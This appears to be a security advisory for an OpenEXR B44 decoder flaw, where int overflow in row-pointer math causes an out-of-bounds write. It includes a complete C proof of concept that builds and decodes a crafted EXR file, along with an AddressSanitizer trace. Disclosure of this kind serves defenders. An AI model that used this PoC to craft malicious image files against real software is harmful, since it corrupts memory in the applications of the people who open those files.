PT-2026-59485 · Pypi · Openexr
Published
2026-07-13
·
Updated
2026-07-13
CVSS v4.0
8.4
High
| Vector | AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal b44.c:535)
c
int nx, ny;nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32 t.- Scratch buffer allocation (internal b44:543)
c
nBytes = (uint64 t) (ny) * (uint64 t) (nx) *
(uint64 t) (curc->bytes per element);The allocation path correctly promotes to uint64 t before multiplying.
The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal b44:560)
c
row0 = (uint16 t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;y and nx are both int. The product y * nx is computed in int. If this product exceeds INT MAX (2,147,483,647), the result is signed integer overflow- Out of Band write (internal b44:592)
c
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer.
The same pattern is present in the encoder path (ht apply impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress b44 impl() computes
row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc b44.exr can be replayed independently on any OpenEXR installation.poc.cpp
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr result t rv = (call);
if ( rv != EXR ERR SUCCESS) {
fprintf(stderr, "%s failed (%d)
", #call, (int) rv);
goto fail;
}
} while (0)
static void fill blocks(uint8 t* out, uint64 t n) {
for (uint64 t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64 t W = 268435456;
const int64 t H = 9;
const char* path = "/tmp/poc b44.exr";
const uint64 t blocks = (uint64 t)(W / 4) * 2 + 1;
const uint64 t psz = blocks * 3;
uint8 t* packed = (uint8 t*) malloc(psz);
exr context t ctxt = NULL;
exr context initializer t cinit = EXR DEFAULT CONTEXT INITIALIZER;
int part = -1;
exr chunk info t cinfo;
exr decode pipeline t dec = EXR DECODE PIPELINE INITIALIZER;
uint16 t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed
"); return 1; }
fill blocks(packed, blocks);
CHECK(exr start write(&ctxt, path, EXR WRITE FILE DIRECTLY, &cinit));
CHECK(exr add part(ctxt, "scan", EXR STORAGE SCANLINE, &part));
CHECK(exr initialize required attr simple(
ctxt, part, (int32 t)W, (int32 t)H, EXR COMPRESSION B44));
CHECK(exr add channel(ctxt, part, "Y", EXR PIXEL HALF,
EXR PERCEPTUALLY LOGARITHMIC, 1, 1));
CHECK(exr write header(ctxt));
CHECK(exr write scanline chunk(ctxt, part, 0, packed, psz));
exr finish(&ctxt); ctxt = NULL;
fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes
", path, W, H, psz);
CHECK(exr start read(&ctxt, path, &cinit));
CHECK(exr read scanline chunk info(ctxt, 0, 0, &cinfo));
CHECK(exr decoding initialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decode to ptr = (uint8 t*)&dummy;
dec.channels[0].user pixel stride = 2;
dec.channels[0].user line stride = dec.channels[0].width * 2;
dec.channels[0].user bytes per element = 2;
dec.channels[0].user data type = dec.channels[0].data type;
CHECK(exr decoding choose default routines(ctxt, 0, &dec));
dec.unpack and convert fn = NULL;
fprintf(stderr, "[*] calling exr decoding run()h
");
fflush(stderr);
CHECK(exr decoding run(ctxt, 0, &dec));
ok = 1;
fail:
if (ctxt) { exr decoding destroy(ctxt, &dec); exr finish(&ctxt); }
free(packed);
return ok ? 0 : 1;
}ASAN Trace
openexr/src/lib/OpenEXRCore/internal b44.c:561:23: runtime error:
signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
#0 in uncompress b44 impl internal b44.c:561
#1 in internal exr undo b44 internal b44.c:706
#2 in decompress data compression.c:444
#3 in exr uncompress chunk compression.c:541
#4 in exr decoding run decoding.c:580
#5 in main poc.c:83
=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
#0 in memcpy (libc)
#1 in uncompress b44 impl internal b44.c:599
#2 in internal exr undo b44 internal b44.c:706
#3 in decompress data compression.c:444
#4 in exr uncompress chunk compression.c:541
#5 in exr decoding run decoding.c:580
#6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress b44 impl internal b44.c:599Impact
A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr decoding run().
Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Openexr